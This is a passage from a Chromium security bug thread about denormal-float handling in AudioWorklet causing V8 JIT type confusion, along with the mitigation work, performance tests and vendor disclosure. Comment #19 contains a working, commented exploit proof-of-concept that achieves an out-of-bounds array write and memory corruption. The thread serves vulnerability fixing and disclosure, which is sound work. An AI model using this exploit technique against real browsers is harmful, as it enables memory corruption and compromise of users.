> Would it be worthwhile to bring this up there? I feel like it would be difficult to change this now, but if there is a chance we should probably start soon since it would likely take a while. It seems like the old discussion I linked above never resolved.

As worthwhile as any spec work I suppose, I imagine since it's already shipping in all browsers in the same way, it could be considered a normative change and stashed into an appendix or a footnote. The fact that it was shipped without JS spec agreement means that we JS folks didn't get an insight into this behaviour, and alternatives like the discussed `Math.flushDenormalToZero` were never implemented or used, which has led to this issue. Now I suppose the train has left the station anyway, so it's more about being a good web/spec citizen -- perhaps with the benefit that if we find out that we *do* need to ship with denormals after all, then Zoom and the paid online music production studios could change their code to use something like `Math.flushDenormalToZero`.

---

sa...@google.com <sa...@google.com> #19 Dec 9, 2024 01:02PM

Based on Leszek's example in comment #10, we (cffsmith@, sroettger@ and myself) started looking into this on Friday, and while definitely non-trivial, the issue is (as expected) exploitable. Below is a commented proof-of-concept for d8 and the attached zipfile demonstrates a controlled memory write primitive when run in Chrome (it should crash at something like 0xXXXX4141413f).

There's a decent chance that the PoC is overly complicated, but this is what we ended up with when going step-by-step to expand the initial type confusion to something more useful. Besides confusing the compiler's type inference, we also noticed other potential issues:

- Bytecode compiled for the same function will differ depending on the CPU mode: normally, the literal 5e-324 will generate a two-byte `LdaConstant` operation. When denormalized floats become zero, it will instead generate a one-byte `LdaZero` operation. Some parts of V8 assume that bytecode compilation is deterministic (same source code => same bytecode), so there may now be issues there.
- It seems to be possible to cause field-type mismatches in JSObjects. Presumably because you can trick V8 into believing that it will store a HeapNumber as an object's property while actually it will store a Smi as the number has become zero.

We haven't investigated either of these, but I think it's a reasonable assumption that other stuff breaks due to this.

All of these issues only lead to memory corruption inside the V8 Sandbox (if at all), so in the future, we'll have better defenses in place. I'm not sure there is much we can do in the short term. Ultimately, once the compiler is confused about types somewhere, it's very hard to stop that confusion from causing harm. The PoC demonstrates one particular path on which this issue leads to memory corruption, but there are likely other paths as well. We could stop typing denormal float constants, but I'm not fully convinced this would work. For example, the compiler also couldn't (?) make otherwise reasonable assumptions such as "the sum of two positive numbers is > 0". We're also skeptical that "typer hardening" (trying to prevent mistyping from causing memory corruption) can be a defensible security boundary because every change that looks at type information will potentially introduce a bypass in a very non-obvious way. However, we've been using it on a best-effort basis, so it might make sense to also try and break this technique. I'll file a follow-up issue about that.

```
// Typical exploit utility code.
let ab = new ArrayBuffer(8);
let f64 = new Float64Array(ab);
let i64 = new BigUint64Array(ab);
function itof(i) {
```

```
  i64[0] = i;
  print(f64[0]);
  return f64[0];
}
function ftoi(f) {
  f64[0] = f;
  return i64[0];
}

function poc(x) {
  // Embed the denormal number into an object literal so that it only
becomes a
  // constant after escape analysis turns the heap allocation into a stack
  // allocation. See https://abiondo.me/2019/01/02/exploiting-math-expm1-
v8/
  let obj = {denormal: 5E-324};

  // Here we need a side effect to prevent LoadElimination from converting
the
  // denormal into a constant prior to escape analysis. Any non-inlineable
  // builtin should work, or a function parameter.
  new Float64Array();

  // Now we need to convert the initial mistyping between the denormal and
zero
  // into an integer range mismatch. For that, we go via Object.is to
generate
  // a bool mismatch, then build on that to construct a range mismatch.
See
  // also https://project-zero.issues.chromium.org/issues/42450781.
  //
  // If we directly use Object.is(o.denormal, 0) here, we'll get a
mismatch
  // during the simplified lowering phase (compiler believes it must be
false,
  // at runtime it is true). However, later on Turboshaft will constant
fold
  // the Float64SameValue operation into just <false>, thereby "fixing"
the
  // type confusion. To avoid that, we perform some operations first for
which
  // Turbofan's typer can still determine that they will result in the
denormal
  // constant, but which Turboshaft cannot constant fold. A simple
Math.min
  // with a known-positive number seems to work for that purpose.
  let positive = (x & 1) + 1;     // Range(1, 2)
  let denormal = Math.min(obj.denormal, positive);
  let b = Object.is(denormal, 0);
  // Expected: <false>, actual: <true>

  // We now have a mistyping during simplified lowering. However, a lot of
the
  // interesting stuff seems to happen earlier on, after the initial
typing
  // phase. As such, now we "go back in time" and cause a mistyping
already
  // during the initial typing phase. For that, we build a
SpeculativeNumberAdd
  // operation that will either result in a positive number or a deopt if
an
  // overflow happens. Then, during simplified lowering we trick the
compiler
  // into believing that the addition cannot overflow and therefore to
omit the
  // overflow check. In reality, the addition overflows and we now have a
  // mistyping already during the first typing phase \o/

  let n = b | 0;
  // Initial typing:      expected: Range(0, 1)        actual: 1
  // Simplified lowering: expected: 0                  actual: 1
  n *= 0xffffffff;
  // Initial typing:      expected: Range(0, INT_MAX)  actual: INT_MAX
  // Simplified lowering: expected: 0                  actual: INT_MAX
  let o = n + 1;
  // Initial typing:      expected: Range(1, INT_MAX)  actual: 0
  // Simplified lowering: expected: Range(1, 1)        actual: 0
```

```
  // Finally we abuse a quirk in the way JSArray allocations are lowered.
What
  // happens here is that we trick the compiler into believing that the
index
  // will be a constant value (or bail out during a CheckBounds). It will
then
  // set the .length of the JSarray to this constant but still use the
runtime
  // value (which will actually be zero) as input the
MaybeGrowFastElements. As
  // such, we end up with a JSArray of length X backed by a FixedArray of
a
  // smaller size. This seems to be vaguely similar to past techniques in
that
  // area: https://project-zero.issues.chromium.org/issues/42451148 or
  // https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-
infinity-bug.html.
  // The undefined here is needed so that we end up with a union type
after the
  // multiplication. Otherwise, the compiler will constant fold the
values.
  let o_ = (Math.random() <= 1) ? o : undefined;
  let i = Math.sign(o_) * 64;
  // Expected: NaN | Range(64, 64), actual: 0
  let first = [1];
  first[i] = 2;

  // Lazy PoC: just allocate two arrays right next to each other. Then we
can
  // for example corrupt the second array's backing buffer pointer by
writing
  // OOB into the first. We don't use float64 arrays as the
denormalization
  // mode can also affect those.
  let second = [1,2,3];
  return {first, second};
}

// Force JIT optimization.
for (let i = 0; i < 100000; i++) {
  poc(0);
}

// Now change the semantics of float operations to cause a mismatch
between the
// compiler's expectations and reality.
%AvoidDenormals();

let {first, second} = poc(0);
// Second array should come right after the first, so at offset 4, there
will
// be the second array's length.
if (first[4] != second.length) throw "failed :(";
first[3] = 0x41414141 >> 1;
second[0] = 42;

/*
// Patch to add the %AvoidDenormals() runtime function on x64 (thanks
leszeks@)
diff --git a/src/runtime/runtime-test.cc b/src/runtime/runtime-test.cc
index 006c8386765..763c6997ee2 100644
--- a/src/runtime/runtime-test.cc
+++ b/src/runtime/runtime-test.cc
@@ -3,6 +3,7 @@
 // found in the LICENSE file.

 #include <stdio.h>
+#include <xmmintrin.h>

 #include <iomanip>
 #include <memory>
@@ -209,6 +210,11 @@ RUNTIME_FUNCTION(Runtime_ConstructThinString) {
   return *string;
 }

+RUNTIME_FUNCTION(Runtime_AvoidDenormals) {
+  _mm_setcsr(_mm_getcsr() | 0x8040);
+  return ReadOnlyRoots(isolate).undefined_value();
```

```
+}
+
 RUNTIME_FUNCTION(Runtime_DeoptimizeFunction) {
   HandleScope scope(isolate);
   if (args.length() != 1) {
diff --git a/src/runtime/runtime.h b/src/runtime/runtime.h
index 6b986ea68d1..f5cea9c2ed5 100644
--- a/src/runtime/runtime.h
+++ b/src/runtime/runtime.h
@@ -529,6 +529,7 @@ namespace internal {
   F(ActiveTierIsTurbofan, 1, 1)               \
   F(ArrayIteratorProtector, 0, 1)             \
   F(ArraySpeciesProtector, 0, 1)              \
+  F(AvoidDenormals, 0, 1)                     \
   F(BaselineOsr, -1, 1)                       \
   F(BenchMaglev, 2, 1)                        \
   F(BenchTurbofan, 2, 1)                      \
*/
```

poc.zip

2.7 KB Download

mj...@google.com <mj...@google.com> #20 Dec 9, 2024 05:37PM

Thank you for clarifying that we have a working poc.

I will continue to work on the technical fix (enabling denormals for AudioWorklet and probably also ScriptProcessorNode). WIP is here but it is not working correctly yet: https://crrev.com/c/6077677

If we need an emergency quick fix it would probably be best to remove the platform-specific version of `DenormalDisabler` here:

- https://crsrc.org/c/third_party/blink/renderer/platform/audio/denormal_disabler.h;l=55

because otherwise we would get some output mismatches in compressor and biquad filter nodes which call `FlushDenormalFloatToZero` explicitly. This quick fix would regress performance more than necessary.

I'm not the right person to make the business decision. I have escalated to my management and hopefully they will respond about this soon.

Question: Is the security issue a release blocker, now that the crashing test has been worked around?

le...@chromium.org <le...@chromium.org> #21 Dec 9, 2024 06:40PM

Is enabling denormals for user-code callbacks in AudioWorklet a viable performance option? That would be the ideal fix from our point of view.

mj...@google.com <mj...@google.com> #22 Dec 9, 2024 11:04PM

comment#21 Once the patch is ready we can use it to do a direct performance comparison. I am still figuring out where to enable denormals so that it has the least performance impact. Hopefully I will have something ready later today.

mj...@google.com <mj...@google.com> #23 Dec 10, 2024 03:07AM

The patch seems like it works on all platforms (patchset 5 has it enabled without a flag, and removed the WPT expectation file, all CQ tests passed):

- https://crrev.com/c/6077677/5?checksPatchset=5&tab=checks

I have updated it with a flag guard and also applied it to ScriptProcessorNode in the latest version:

- https://crrev.com/c/6077677

The AudioWorklet test on web-audio-samples is not showing any performance change with or without denormals enabled, but it is using AudioWorklet with a bypass kernel from a constant source node which won't generate any denormalized / subnormal numbers anyway:

- https://googlechromelabs.github.io/web-audio-samples/tests/playwright/pages/

We still need to do some real-world testing to see the actual performance impact on an application that generates denormalized numbers.

I plan to re-add the WPT expectation and work to land this patch with the feature flag disabled-by-default tomorrow. Then we can use the feature to enable denormals in an emergency, and it can also be used by partners to check actual performance impact. After landing I plan to write or find a simple AudioWorklet IIR filter, which should show any performance difference caused by denormal processing.

mj...@google.com <mj...@google.com> Dec 10, 2024 09:43PM

Accepted by mj...@google.com.

ad...@google.com <ad...@google.com> #24 Dec 11, 2024 05:10PM

Marking as SecurityEmbargo since there seems to be a chance other browsers could also be vulnerable.

ap...@google.com <ap...@google.com> #25 Dec 12, 2024 05:49PM

Project: chromium/src
Branch: main
Author: Michael Wilson <mjwilson@chromium.org>
Link: https://chromium-review.googlesource.com/6077677

Add a flag to enable strict JS compliance in AudioWorklet

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #26 Dec 12, 2024 06:57PM

The change is now available in main. Run chrome with the flag `--enable-features=WebAudioAllowDenormalInProcessing` to test.

My next step is to try an IIR filter in AudioWorklet as mentioned in #comment23

mj...@google.com <mj...@google.com> #27 Dec 16, 2024 05:36PM

I am getting questions the Desktop team if this is still a release blocker. Can someone from the security team comment on if we remove the ReleaseBlock label?

ad...@google.com <ad...@google.com> #28 Dec 16, 2024 05:49PM

There are two separate reasons why this might deserve to be marked Release Blocker.

Security reasons:

This bug might be exceptional, but normally our decisions about whether something is a release blocker are based on whether it's a regression. The `Found In` field on this bug says that this bug isn't known to exist before 133, so our security tooling will interpret it as a regression. If this bug existed in 130 or earlier, please fix `Found In` to say 130, and then yes, we in security do not require this to be a release blocker.

Stability reasons:

However, the original reason this was marked as release blocker was nothing to do with security. It's just causing too many crashes, per #comment3. So even if we in security don't believe it needs to be a release blocker, we can't tell you that you can unilaterally remove it, you'll need to discuss with stability folks.

ol...@google.com <ol...@google.com> #29 Dec 16, 2024 06:07PM

The crashes were in dcheck enabled canaries and I worked around them already in https://chromium-review.googlesource.com/c/v8/v8/+/6069992.

ad...@google.com <ad...@google.com> #30 Dec 16, 2024 06:40PM

OK - so that sounds like the stability argument for `Release Block` has gone away, then?

As to the security argument - is the *underlying security risk* new in 133? Or was it pre-existing?

mj...@google.com <mj...@google.com> #31 Dec 16, 2024 09:57PM

The underlying issue has been present for more than 10 years. So it sounds like we can remove the release block label?

ad...@google.com <ad...@google.com> #32 Dec 17, 2024 09:16AM

Adjusting FoundIn to match #comment31. And yes, per #comment28 that means we in security do not wish to block the next release to await a fix, and it's not a recent regression. I'll remove that flag.

For S1 security bugs we aim to get the fix out to all users in 60 days which usually means releasing the fix in about half that time. I appreciate that this fix is particularly tricky to achieve in an expedited timescale, good luck!

mj...@google.com <mj...@google.com> #33 Dec 18, 2024 01:11AM

I have a performance test CL in review here: https://crrev.com/c/6096785

It is showing about a 50% performance penalty (~60ms runtime becomes ~90ms runtime) on one platform, but the times include setup overhead so it's difficult to say just from this test how bad the regression really is. Also, the results from this method are sometimes not consistent. We probably need more widespread testing to really understand the performance impact.

Is there anybody from the security team that can confirm running Chrome with --enable-features=WebAudioAllowDenormalInProcessing will prevent the current PoC exploit from functioning? I confirmed it shows denormal numbers working inside the AudioWorklet process method, but don't feel confident in validating it as a mitigation.

ad...@google.com <ad...@google.com> #34 Dec 18, 2024 08:59AM

@saelo would be best placed if he has time!

mj...@google.com <mj...@google.com> #35 Dec 18, 2024 10:56PM

Thanks for following this issue! I have some more questions:

- Should we notify other browser vendors who may also be vulnerable in a similar way? Do we have a channel to do this without violating the security embargo?
- Will this bug become public once the 60-day SLO period is up even if we haven't rolled out a fix yet?
- Is the V8 team prototyping any other solution, either a new standard JS method or modifications to the compiler, or are they waiting for me to provide more performance information first? I can attempt to propose an Ecma revision but it might be easier coming from someone who works on that standard already.

ad...@google.com <ad...@google.com> #36 Dec 19, 2024 09:11AM

> Should we notify other browser vendors who may also be vulnerable in a similar way? Do we have a channel to do this without violating the security embargo?

Yes, and I think saelo@ has already done so (please confirm!) Representatives from other browsers may end up getting cc'd on this bug as it's often the best way to share information, so don't be surprised if that happens.

> Will this bug become public once the 60-day SLO period is up even if we haven't rolled out a fix yet?

No. Security bugs typically become public 14 weeks after they're marked fixed. In this case, we've marked it with the `SecurityEmbargo` hotlist so the automation won't even open it to the public then. We'll open it to the public when we're confident it's resolved in all impacted browsers.

(I can't comment on the third question - hopefully you and V8 are working closely on this, maybe you should set up a weekly sync until it's resolved, to ensure things don't fall down the cracks?)

le...@chromium.org <le...@chromium.org> #37 Dec 19, 2024 10:28AM

I have a simple prototype to propagate on-startup disable-denorms state through to JS compilation, which I have reasonably high confidence would resolve the JS-side issue (as long as the worklet thread is started with disable denorms) -- we have an idea that should work for breaking up the Wasm code sharing too. We also have the possibility of disabling *all* float-value based constant value analysis, which we're also reasonably sure would block exploits of this shape, though it's a fragile fix since any future float64 static analysis would have to be aware of this issue to not re-introduce an exploit.

cf...@google.com <cf...@google.com> #38 Dec 19, 2024 01:51PM

I can confirm that saelo@ has contacted other browser vendors.

> Is there anybody from the security team that can confirm running Chrome with --enable-features=WebAudioAllowDenormalInProcessing will prevent the current PoC exploit from functioning? I confirmed it shows denormal numbers working inside the AudioWorklet process method, but don't feel confident in validating it as a mitigation.

I checked the PoC and it fails, as executing compiled JavaScript is now consistent in and outside of the worklet this should be mitigated with that flag.

cr...@google.com <cr...@google.com> #39 Dec 22, 2024 05:11PM

Crash service detected an anomaly in the population of crashing clients for this magic signature (http://go/crash-anomalies).

The automated system will not update this bug again for future Chrome versions, but the anomaly will continue to be detected and can be tracked on http://crash.

Anomaly Information

- **Chrome Version**: 131.0.6778.205
- **Anomaly Type**: COUNTRY
- **Anomalous Value**: IN
- **Ratio of Crashing Clients with Anomalous Value (ie. absolute)**: 0.238095
- **Odds Ratio of Crashing Clients with Anomalous Value (ie. normalized by population size)**: 2.86309

Was this information useful?
YES ***NO***

mj...@google.com <mj...@google.com> #40 Jan 2, 2025 11:01PM

I'm still not satisfied with the performance test. The results are not consistent: sometimes there is a measured difference but sometimes there is none. It's possible that denormal numbers are actually not that much of a problem anymore on modern machines. But I think the way I am testing it now is not enough to confirm this (and even if this were true, it would not help people with older hardware).

I know we are past SLO, but I would like some more time to try to find a consistent way to quantify the difference.

Message last modified on Jan 16, 2025 06:36PM

sa...@google.com <sa...@google.com> #41 Jan 3, 2025 11:42AM

I reached out to both Apple (product-security@apple.com) and Mozilla (security@mozilla.org) about this issue on Dec 12. Mozilla has opened an internal bug (https://bugzilla.mozilla.org/show_bug.cgi?id=1936846) but I haven't heard back from Apple apart from a generic response (Follow-Up ID OE0964848953245). However, in my initial testing it also looked like Safari/WebKit wasn't affected by this issue as the below testcase worked correctly and didn't show any signs of denormals being disabled

```
========== [ index.html ] ==========
<!DOCTYPE html>
<html>
<head>
<style>
body {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh;
  margin: 0;
}
</style>
</head>
<body>

<button id="demoButton">Start Demo</button>

<script>
demoButton.addEventListener('click', async function() {
  const denormal = 5E-324;
  console.log(`Denormal float value in main script ${denormal}`);

  const audioContext = new AudioContext();
  await audioContext.audioWorklet.addModule('worklet.js');
  const demoNode = new AudioWorkletNode(audioContext, 'denormal-demo-
processor');
  demoNode.port.onmessage = (msg) => console.log(msg.data);
  demoNode.connect(audioContext.destination);
});
</script>

</body>
</html>

========== [ worklet.js ] ==========
```

```
const denormal = 5E-324;

console.log(`Denormal float value outside processor: ${denormal}`);

class DenormalDemoProcessor extends AudioWorkletProcessor {
  process(inputs, outputs, parameters) {
    this.port.postMessage(`Denormal float value inside processor:
${denormal}`);
  }
}

registerProcessor('denormal-demo-processor', DenormalDemoProcessor);
```

pe...@google.com <pe...@google.com> #42 Jan 17, 2025 04:40PM

mjwilson: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add Disable-Nags (case sensitive) to the Chromium Labels custom field.

mj...@google.com <mj...@google.com> #43 Jan 17, 2025 05:11PM

I think the CPUs I have access to (AMD 17h) show no or very little difference when processing denormals, although I haven't found a source from AMD that says this. We are working on some new metrics to get broad performance data, but we don't have an estimate for when they will be available yet.

Is there any progress from the V8 side? I don't see any other mitigation we can do from the WebAudio side. If there's no other solution I think we will have to flip the `WebAudioAllowDenormalInProcessing` flag on and accept the performance hit on older machines.

le...@chromium.org <le...@chromium.org> #44 Jan 20, 2025 10:12AM

If the audio worklet can be started with the right denorm mode, V8 can land some work to preserve it across compilation threads -- we've been holding off on landing CLs here to avoid early disclosure.

mj...@google.com <mj...@google.com> #45 Jan 21, 2025 06:41PM

Assigned to le...@chromium.org.

> right denorm mode

Does this mean denormal flush to zero? That should be the current default behavior in Chromium without the `WebAudioAllowDenormalInProcessing` flag set.

I'll send this to leszeks@ for now, to track progress from the V8 side.

le...@chromium.org <le...@chromium.org> Jan 22, 2025 11:47AM

Reassigned to mj...@chromium.org.

mj...@chromium.org <mj...@chromium.org> #46 Jan 22, 2025 04:52PM

Oh ok, I'll hold the issue then. But I'm not actively working on it now.

ho...@chromium.org <ho...@chromium.org> #47 Jan 22, 2025 06:51PM

leszeks@ - It's fine that the WebAudio team is holding this issue, but can you share what's being done on the V8 side? Or do you have other tracking bugs for that purpose?

le...@chromium.org <le...@chromium.org> #48 Jan 24, 2025 09:14PM

This is the only bug we're tracking -- we've got some work basically ready to go for preserving the fcpr state between the Isolate thread and the compilation tasks it creates, but we're holding off on landing that work until the WebAudio side is done, otherwise we're exposing the issue to anyone tracking our commits without actually mitigating it.

mj...@google.com <mj...@google.com> #49 Jan 24, 2025 10:23PM

> we're holding off on landing that work until the WebAudio side is done

To clarify: the only remaining work we are expecting to do right now from the WebAudio side is alvinji@ is adding some additional performance metrics and we will report the results here.

I think you are saying that you expect us to make a decision based on the metric results if we can turn on denormals for everything, and if we do then there is no need to land anything from the V8 side. Is that correct?

le...@chromium.org <le...@chromium.org> #50 Jan 27, 2025 09:59AM

Kind of correct. I think the agreement is that the default decision, without data, should err on the side of following spec and not adding complexity, unless there is a performance argument to do so, so we're waiting for the metric results for that performance argument -- and, to be clear, I do expect there to be a strong performance argument based on your expertise, I just want to have data that shows it that I can forward to anyone who asks me to justify the V8-side additional complexity.

If there's no performance cost after all, then we can turn on denormals for everything and we're done. If there is, then we need to flush denormals to zero. My understanding was that denormal flush to zero was currently enabled via a `DenormalDisabler` scope (I believe, the one here: https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/modules/webaudio/realtime_audio_destination_handler.cc;l=212;drc=006088a888ee38cd1643b55b345adbdcad29e472). However, this puts V8 in an inconsistent state where we sometimes flush and sometimes don't, which is the root cause of the exploit. What we would need is for the whole thread to be permanently flush to zero, from before V8 isolate initialisation on the `WorkerBackingThread` to after isolate teardown, and then V8 can propagate this state to tasks it creates on other threads. We see this change from scope-based flush-to-zero to thread-based flush-to-zero as non-V8 work, and therefore work owned by WebAudio, it might be that you see this differently?

ad...@google.com <ad...@google.com> #51 Jan 27, 2025 10:55AM

@mjwilson as I understand it from #comment49 and #comment50, the fix for this S1 security bug, where we have proof of exploitability, depends on the performance results that you and alvinji@ are gathering. Could you give us an estimate for when you'll have that ready? Hopefully in a day or two? I'm concerned about #comment46 where you say you're not actively working on it - according to our severity guidelines we'd aim for a fix in a refresh of the current stable milestone (M132), and given that your performance data is a pre-requisite for an already very difficult fix (whichever side it ends up being) we do need you to expedite. Thanks!

mj...@google.com <mj...@google.com> #52 Jan 27, 2025 05:43PM

Reassigned to al...@google.com.

Thank you for clarifying. I agree with this approach.

I will assign this to alvinji@, who is working on the broader performance results.

al...@google.com <al...@google.com> #53 Jan 29, 2025 02:23AM

Hi adetaylor@google.com,
I created go/enhanced-audio-destination-metrics-for-webaudio and added "Table 1. AudioDestination::RequestRenderTimeRatio measure results" for the performance comparison with and without enabling demornal flush feature.
The performance degradation is significant on X86 CPU especially on older models when denormal flush is disabled.
Please help to review the data.
Thanks!
Alvin

ad...@google.com <ad...@google.com> #54 Jan 29, 2025 10:13AM

Thanks.

Is it fair to say: from the results in that doc, the posititon of the WebAudio team is that these performance costs are too high, and thus a fix needs to be put in place by the V8 team rather than the WebAudio team?

If that's the case then I think this should be reassigned to leszeks@ for next steps.

cc @danno since this is going to require one of his teams to pay an engineering or performance cost, and I suspect it might end up on his plate to decide :)

jk...@chromium.org <jk...@chromium.org> #55 Jan 29, 2025 12:41PM

#54: To reiterate what #50 said: we're fine with doing the V8-side changes, but V8 is at the mercy of its embedder, i.e. the setup of the Audio Worklet. The `v8::Isolate` needs to *consistently see one state* of the flush-denormals CPU flag. We (meaning: leszeks@ and myself) will make sure that things don't get screwed up on the V8 side under this assumption; and the WebAudio side needs to move from short-lived `DenormalDisabler` scopes to a per-thread configuration. The V8-side mitigations will accomplish *nothing* without the corresponding embedder-side changes.

mj...@google.com <mj...@google.com> #56 Jan 29, 2025 05:05PM

#comment55 Thank you for reiterating this, I think I misread the end of #comment50.

We do get a separate backing thread for the AudioWorklet, but ScriptProcessorNode runs on the main thread and has the same issue.

We definitely can't turn on denormal flush to zero for the entire main thread.

So I'm not sure if it's possible to move to a per-thread configuration.

le...@chromium.org <le...@chromium.org> #57 Jan 29, 2025 05:48PM

Unfortunate that we didn't catch this earlier, that throws our chief mitigation idea a bit off the rails. How important is denormal flush to zero for the main thread specifically, is there also a realtime expectation there? Do you know what context these main-thread ScriptProcessorNodes run in on the main thread, and whether the functions they run can also be leak into, and be run separately by, non-WebAudio scripts on the page?

ol...@google.com <ol...@google.com> #58 Jan 29, 2025 06:03PM

Isn't ScriptProcessorNode deprecated? (And it is not real-time in any case, since there is a lot of queueing on the main thread.)

mj...@google.com <mj...@google.com> #59 Jan 29, 2025 06:08PM

> Isn't ScriptProcessorNode deprecated?

It is deprecated, although still in use. So we could enable denormals on ScriptProcessorNode and do a thread-based solution on AudioWorklet. This will probably make a small number of vocal users very upset (not saying that's a hard reason not to do it, just that we should be prepared).

ol...@google.com <ol...@google.com> #60 Jan 29, 2025 06:12PM

Well, maybe they'll finally stop using it as a result :)

mj...@google.com <mj...@google.com> #61 Jan 30, 2025 07:19PM

Update on ScriptProcessorNode:

I downloaded the source from https://github.com/mdn/webaudio-examples/tree/main/script-processor-node and added the following lines under the `scriptNode.addEventListener("audioprocess", (audioProcessingEvent) => {` line:

```
    const denorm = 2.225e-308;
    console.log(denorm / 2.0);
```

Then in the console I see the following:

```
67script.js:29 1.1124999999999997e-308
```

This was all without any flags, in release Chrome Version 132.0.6834.159.

This implies to me that ScriptProcessorNode, which runs on the main thread, never had denormals flushed to zero in the first place for the JavaScript code and thus we can safely ignore it for the purposes of this bug. I will revert the DenormalEnabler on ScriptProcessorNode I added in https://crrev.com/c/6077677.

mj...@google.com <mj...@google.com> #62 Jan 30, 2025 07:28PM

Reassigned to mj...@google.com.

Update on next steps:

leszeks@, jkummerow@, hongchan@, alvinji@, and I met and we decided the best option is to disable denormals (that is, set denormal flush to zero) for the entire AudioWorklet thread.

The WebAudio team will take on this work, although we may need to find a Chromium threading expert to help check that we aren't missing anything in our solution.

We may also want to be careful about how we land changes. I think the ScriptProcessorNode change I mentioned in the previous comment should be ambiguous enough (since it's positioned as a spec compliance issue) but I'm not sure about other changes that dig into the threading model.

I'll also assign the bug back to myself, since Alvin has already given a performance report in #comment53.

Message last modified on Jan 30, 2025 10:42PM

ap...@google.com <ap...@google.com> #63 Jan 30, 2025 11:11PM

Project: chromium/src
Branch: main
Author: Michael Wilson <mjwilson@chromium.org>
Link: https://chromium-review.googlesource.com/6219685

Remove DenormalEnabler from ScriptProcessorNode

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #64 Jan 31, 2025 12:42AM

Hongchan and I met, and we think we can disable the denormals in the `AudioWorkletGlobalScope` constructor.

`AudioWorkletGlobalScope` is constructed on the worklet thread, and must be constructed before `AudioWorklet` processors are created or registered. The V8 isolates are only created when an `AudioWorklet` processor is created or registered. So setting the flush-to-zero bit in the `AudioWorkletGlobalScope` constructor should ensure V8 always sees it set.

We can implement this by pulling out the `DisableDenormals()` part of `DenormalDisabler` and calling it directly.

Before I raise this for review I want to check with leszeks@ about #comment48:

> we're holding off on landing that work until the WebAudio side is done, otherwise we're exposing the issue to anyone tracking our commits without actually mitigating it.

Do you think what I proposed above is far enough removed that we can land the WebAudio change now via the normal Gerrit process?

Or do you think it would be better to land the `AudioWorkletGlobalScope` change as part of the V8 change, to reduce the risk of exposing the issue?

I will frame it as refactoring work, but since this change would technically reduce spec compliance it might look a bit suspicious to someone who is tracking my changes closely. I don't think it's a big risk, but want to check with you first.

le...@chromium.org <le...@chromium.org> #65 Jan 31, 2025 10:23AM

Since we have a plan going forward in both WebAudio and V8, I think we can start going through normal review -- we'll have some gap between landing and backmerging anyway.

ho...@google.com <ho...@google.com> Jan 31, 2025 11:58PM

Accepted by mj...@google.com.

pe...@google.com <pe...@google.com> #66 Feb 2, 2025 04:41PM

We commit ourselves to a 60 day deadline for fixing for s1 severity vulnerabilities, and have exceeded it here. If you're unable to look into this soon, could you please find another owner or remove yourself so that this gets back into the security triage queue?

am...@chromium.org <am...@chromium.org> #67 Feb 4, 2025 02:12AM

pursuant to c#65 and taking comments , if there should be rolling reviews and backmerges, we'll need to rely on human merge review requests on a continuous basis. In order to rely on the automation, this issue would need to be closed as fixed.

To keep investigation and fixes all in this issue, the best way forward is when a fix is ready for review for a potential backmerge, please update the Merge field with `Review-MMM` where MMM is the milestone.

M133 will be Stable channel and M132 Extended Stable as of tomorrow, please keep that in mind when making merge reviews. Regardless of the fix, it should still have at least and possibly more than 48 hours of bake time before we (security) would merge review and approve. If a fix is too complex, we may not be able to merge to Extended Stable or even Stable.

If a CL up for review is dependent on another landed or forthcoming CL for backmerge, please make not of that in comments in tandem with the merge request. Regardless, please specify exactly which CLs should be reviewed with each merge review request, since there are multiple changes associated with this issue already and will likely be more.

Message last modified on Feb 4, 2025 02:14AM

ap...@google.com <ap...@google.com> #68 Feb 4, 2025 02:45PM

Project: v8/v8
Branch: main
Author: Leszek Swirski <leszeks@google.com>
Link: https://chromium-review.googlesource.com/6226080

[isolate] Cache FPU mode on isolate startup

▶ Expand for full commit details

ap...@google.com <ap...@google.com> #69 Feb 5, 2025 12:54AM

Project: chromium/src
Branch: main
Author: Michael Wilson <mjwilson@chromium.org>
Link: https://chromium-review.googlesource.com/6226252

Allow denormal flushing to outlive scoped object

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #70 Feb 5, 2025 12:54AM

The WebAudio side should be done now. Here are the related CLs from the WebAudio side:

- Add a flag to enable strict JS compliance in AudioWorklet (6077677) · Gerrit Code Review
- Remove DenormalEnabler from ScriptProcessorNode (6219685) · Gerrit Code Review
- Allow denormal flushing to outlive scoped object (6226252) · Gerrit Code Review

Technically, only the last CL (6226252) is required. But there may be a merge conflict if we don't include the other two.

We should also re-enable the assertion at the top of this issue for all architectures, and make sure it passes, after all the V8 changes have landed.

le...@chromium.org <le...@chromium.org> #71 Feb 5, 2025 11:31AM

The V8 side CLs are:

- [isolate] Cache FPU mode on isolate startup
- [wasm] Treat flush-to-zero denormals consistently (in review as of writing, Wasm-only so not needed to mitigate the known exploit in the JS compiler, but might be needed to mitigate unknown equivalent ones in Wasm)

We'll need to do some extra work to re-enable the assertion mentioned, since it now has to either cache or read the expected fcpr state off the Isolate, rather than assuming that flushing is disabled.

ap...@google.com <ap...@google.com> #72 Feb 5, 2025 12:46PM

Project: v8/v8
Branch: main
Author: Jakob Kummerow <jkummerow@chromium.org>
Link: https://chromium-review.googlesource.com/6230154

[wasm] Treat flush-to-zero denormals consistently

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #73 Feb 5, 2025 05:15PM

It seems like https://crrev.com/c/6226252 is causing an unexpected FCPR mode assertion on win11-arm64:

- https://ci.chromium.org/ui/p/chromium/builders/findit/test-single-revision/57071/overview
- https://ci.chromium.org/ui/p/chromium/builders/luci.chromium.ci/win11-arm64-dbg-tests

Since this build isn't watched by gardeners it isn't being reverted or closing the tree.

Is this something we need to handle from the WebAudio side (that is, we exclude win11-arm64) or is this something expected based on #comment71 (that is, the assertion is assuming flushing is disabled and once the assertion is updated the crash will be resolved)?

le...@chromium.org <le...@chromium.org> #74 Feb 5, 2025 05:17PM

This is, as you say, expected and will be fixed once my V8 CL rolls into Chromium.

le...@chromium.org <le...@chromium.org> #75 Feb 5, 2025 05:18PM

To clarify, I fully disable this assertion in [isolate] Cache FPU mode on isolate startup, and will re-enable it in future work.

ap...@google.com <ap...@google.com> #76 Feb 5, 2025 05:27PM

Project: v8/v8
